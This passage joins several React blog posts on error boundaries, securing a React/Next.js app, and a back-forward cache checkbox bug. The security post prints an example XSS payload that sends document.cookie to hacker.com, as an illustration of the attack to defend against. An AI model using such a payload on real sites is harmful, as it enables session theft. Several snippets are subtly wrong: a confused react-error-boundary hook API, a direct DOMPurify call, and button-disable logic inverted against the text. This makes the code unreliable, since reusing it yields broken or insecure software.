  };

  return (
    <ErrorBoundary>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

You would expect that when you click the button, the error would be caught by the `ErrorBoundary` and the fallback UI would render, right?

But that's not how it works.

The `ErrorBoundary` only catches errors that occur during the rendering phase—not errors that occur in event handlers such as the `onClick` event in the example above.

The [Legacy React Error Boundaries docs](https://legacy.reactjs.org/docs/error-boundaries.html#introducing-error-boundaries) clearly state that:

> Error boundaries do not catch errors for:
> - Event handlers (learn more)
> - Asynchronous code (e.g. setTimeout or requestAnimationFrame callbacks)
> - Server side rendering
> - Errors thrown in the error boundary itself (rather than its children)

In the example above, `ErrorBoundary` only catches errors if they occur during the rendering phase—for example, in the `setMessage` function:

```jsx
const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    setMessage(() => {
      // => this error will be caught by the error boundary
      message.xyz();
      return message;
    });
  };

  return (
    <ErrorBoundary>
      <h1>{message.xyz()}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

### Solution

If you still want to show the fallback UI when an error occurs in an event handler, a great solution is to use the [react-error-boundary](https://github.com/bvaughn/react-error-boundary) library.

I've been using this library in every React app I've worked on. It's a great library—and its author is a former React core team member.

The `react-error-boundary` library provides many useful features for error handling in React apps, and it's very easy to use.

For example, you can use the `ErrorBoundary` and the `useErrorHandler` hook to handle errors in the event handler:

```jsx
import { ErrorBoundary, useErrorHandler } from 'react-error-boundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');
  const { showBoundary } = useErrorHandler();

  const onClick = () => {
    try {
      message.xyz();
    } catch (error) {
      // => this will show the fallback UI of the nearest ErrorBoundary
      showBoundary(error);
    }
  };

  return (
    <ErrorBoundary FallbackComponent={SomeErrorFallbackUI}>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

That's it—and now you have robust error handling in your React app.

Everything you need for handling errors in a React app is provided by `react-error-boundary`; just be sure to read its documentation and use it properly.

Happy coding! 🚀




React Boundary common mistake and how to use it properly

React Error Boundary Mistake


> TL;DR: 
> - Sanitize HTML content.
> - Keep your dependencies updated.
> - Set the right security HTTP Headers.

Security **is** always a top priority for any application. In this article, we will discuss how to secure your **React** app.

### React's dangerouslySetInnerHTML

When you first start learning **React** and discover that **there** is a prop called `dangerouslySetInnerHTML`, you might wonder, "If it's dangerous, why is it there?" In the end, since you want to render HTML content from a string, you will use it anyway.

```jsx
<div dangerouslySetInnerHTML={{ __html: '<h1>Hello, <b>World</b></h1>' }} />;
```

The result will be:

```html
<div>
  <h1>Hello, <b>World</b></h1>
</div>
```

But as you gain more experience with **React**, you will know that the React team deliberately named it with a `dangerously` prefix to ensure **you know what you are doing**. As always, [the React docs did a great job explaining it](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html).

It is a feature designed to improve the security of your **React** app. However, it is not enough; there are other measures you need to take to protect your app from common web hacking techniques.

### Sanitize HTML Content 

The infamous [XSS attack](https://developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss) allows an attacker to inject malicious scripts into web pages viewed by other users.

In **React**, HTML strings are rendered as plain text by default as an intentional security feature that helps prevent such attacks. But when you need to render HTML from a string, you must use the `dangerouslySetInnerHTML` prop – and then the rest is up to you.

This is a component that renders blog content you fetch from an API:

```jsx
function BlogContent() {
  const [content, setContent] = useState('');

  useEffect(() => {
    fetch('https://someApi.xyz/blog/1')
      .then((response) => response.json()) 
      .then((data) => {
        // data = { content: '<h1>Hello, <b>World</b></h1>' }
        setContent(data.content); 
      });
  }, []);

  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
```

But if a hacker compromises the API and changes the response to:

```json
{ 
  "content": "<script>\n  fetch('https://hacker.com/stealCookies?cookie=' + document.cookie);\n</script>" 
}
```

Now, each time a user visits your blog, the hacker will receive the user's cookies—which might contain sensitive information such as session or authentication tokens!

The solution is that you **must sanitize the HTML content** before rendering it. The most popular library for this purpose is [DOMPurify](https://www.npmjs.com/package/dompurify).

The rendering now looks like this:

```jsx
import DOMPurify from 'dompurify';
// This will do the job
<div dangerouslySetInnerHTML={{ __html: DOMPurify(content) }} />;
```

### Keep Dependencies Updated

You will suprise how many vulnerabilities in your project dependencies. We `npm i <package>` without thinking about the security of the package and that is a gold mine for hackers.

Do you remember annoying github bot notifications about your project dependencies? That's because they are outdated and have known vulnerabilities.

Run `npm audit` to see a list of known vulnerabilities in your project's dependencies. The output will look like this:

<Image src="/003/001.png" />

Ideadly we will fix all of them, but in reality, we really need to focus on upgrade the `Severity: high` vulnerabilities first.

Some vulnerabilities support auto fix by run `npm audit fix`. But some of them need to be fixed manually.

If you're using Github, I highly recommend to not ignore [Dependabot](https://github.blog/2023-01-12-a-smarter-quieter-dependabot/) anymore and let it do the job for you.

### HTTP Security Headers

A lot of attacks can be prevented by setting the right security HTTP Headers.

In NextJS, you can set the security headers by modify `next.config.js`:

```js
module.exports = {
  // ... your other config
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'header-name',
            value: 'header-value',
          },
          // other header object
        ],
      },
    ];
  },
};
```

Or you can use an external library like [next-secure-headers](https://github.com/jagaapple/next-secure-headers) to do the job for you.

Also, their is a awesome tool that you should use to check your site's security headers: [securityheaders.com](https://securityheaders.com/)

<Image src="/003/002.png" />


#### `Content-Security-Policy`

[Content Security Policy (CSP)](https://developer.mozilla.org/docs/Web/HTTP/CSP) is important to guard your application against various security threats such as cross-site scripting (XSS), clickjacking, and other code injection attacks.

NextJS have a [great doc](https://nextjs.org/docs/pages/building-your-application/configuring/content-security-policy) to explain how to set it up and handle some edge case for it. I highly recommend to read it.

#### `X-Frame-Options`

Prevent [ClickJacking](https://owasp.org/www-community/attacks/Clickjacking) by not allowing your site to be embedded in an iframe.

If you don't want your site to be embedded in an iframe at all, you can just set the `X-Frame-Options` header to `DENY`. Otherwise you can set it to `SAMEORIGIN` to if you want to allow your site to be embedded in an iframe from the same origin.

```js
{
  key: 'X-Frame-Options',
  value: 'DENY',
}
```

#### `X-XSS-Protection`

This header enables the [Cross-site scripting (XSS) filter](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection) in the browser. The browser will prevent the page from loading when it detects reflected cross-site scripting attacks.

```js
{
  key: 'X-XSS-Protection',
  value: '1; mode=block',
}
```

### Futher reading

- <Link href="https://github.com/jagaapple/next-secure-headers" />



Improve the security of your ReactJS app by following these guidelines.

Secure your ReactJS app


> TL;DR: If you develop a React component and there is a scenario where the user can navigate to an external URL and then go back to the previous screen, you should be aware of the back-forward cache in the browser. There are two common solutions to handle this issue:
> - Use `ref` to sync the state of the DOM element with the state of the component.
> - Use `useEffect` to reset the state of the component.

## Issue When Navigating to an External URL and Going Back

Recently, when I implemented a feature in my work project, I encountered a strange issue in my React app.

For context, I have a screen that has a list of checkboxes and a Continue button. Each checkbox is associated with an external URL. When the user clicks on a checkbox, it navigates to the external URL, and the user can use the browser's back button to return to the previous screen. The Continue button is disabled by default and only becomes enabled when the user has checked all the checkboxes.

```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});

  return (
    <div>
      {DATA.map((item) => (
        <div key={item.value}>
          <input
            type="checkbox"
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

The issue is, if the user has already checked all the checkboxes, the Continue button becomes enabled. However, if the user then clicks an external URL and navigates away, upon clicking the back button the user still sees all the checkboxes as checked—but the Continue button remains disabled.

This leads to confusion and a bug, because the user must uncheck and then recheck the checkboxes to re-enable the Continue button.

After investigating, I discovered that the root cause was an inconsistency between the component state (`checkedMapping`) and the browser cache data. When the user navigates back to the previous screen, the component state resets to its initial values, but the browser cache still holds the previous state of the checkboxes (i.e., `checked = true` in the input elements).

You can reproduce this issue on [this page](/examples/BackForwardReactBug).

So, what is the browser cache data called? It's called the *[back-forward cache](https://web.dev/articles/bfcache)*, and it is enabled by default in most modern browsers.

The back-forward cache is a browser optimization that allows the entire page to be cached when the user navigates away, and then restores the page from the cache when the user navigates back, instead of re-rendering the page from scratch. It helps improve both performance and user experience, as the page is restored instantly without any loading time.

Since we manage the UI state in the React component, the back-forward cache will restore the page to its previous state; however, the restored UI does not synchronize with the component's state data.

## Solution

Before looking for a solution, note that React **will not trigger the unmount lifecycle when redirecting to an external URL!** Therefore, any solution that relies on the unmount lifecycle will not work.

The simplest and yet effective solution is to reset the component's state when the user navigates back to the previous screen. We can do this by using `useEffect` with an empty dependency array.

```jsx
useEffect(() => {
  // When the user navigates back to the previous screen, reset the state of the component
  setCheckedMapping({});
}, []);
```

However, this solution has some downsides:
- Resetting the component's state in `useEffect` leads to an additional re-render after the initial render, which is not optimal for performance or user experience.
- Depending on your business requirements, you may need to preserve the component's state when the user navigates back.

If you want to preserve the state of the component, another great solution is to use a `ref` to synchronize the state of the input element with the component's state.

```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});
  const inputRefs = useRef([]);

  useEffect(() => {
    // This useEffect will run when the user navigates back
    // It will sync the input state cached by the browser with the state of the component
    const updateMapping = inputRefs.current.reduce((acc, ref) => {
      acc[ref.value] = ref.checked;
      return acc;
    }, {});
    setCheckedMapping(updateMapping);
  }, []);

  return (
    <div>
      {DATA.map((item, index) => (
        <div key={item.value}>
          <input
            type="checkbox"
            // Store the ref to sync with checkedMapping later
            ref={(ref) => (inputRefs.current[index] = ref)}
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

In my opinion, this is the most flexible and reliable solution for resolving the BFCache issue in a React application. Moreover, it greatly improves the user experience, and users always appreciate a great UX.

It's also good practice to use a `ref` to synchronize the state of the input element with the component's state, as it helps avoid inconsistencies between the UI and the component's state.

This is a win-win solution for both developers and users.

Happy coding! 🚀

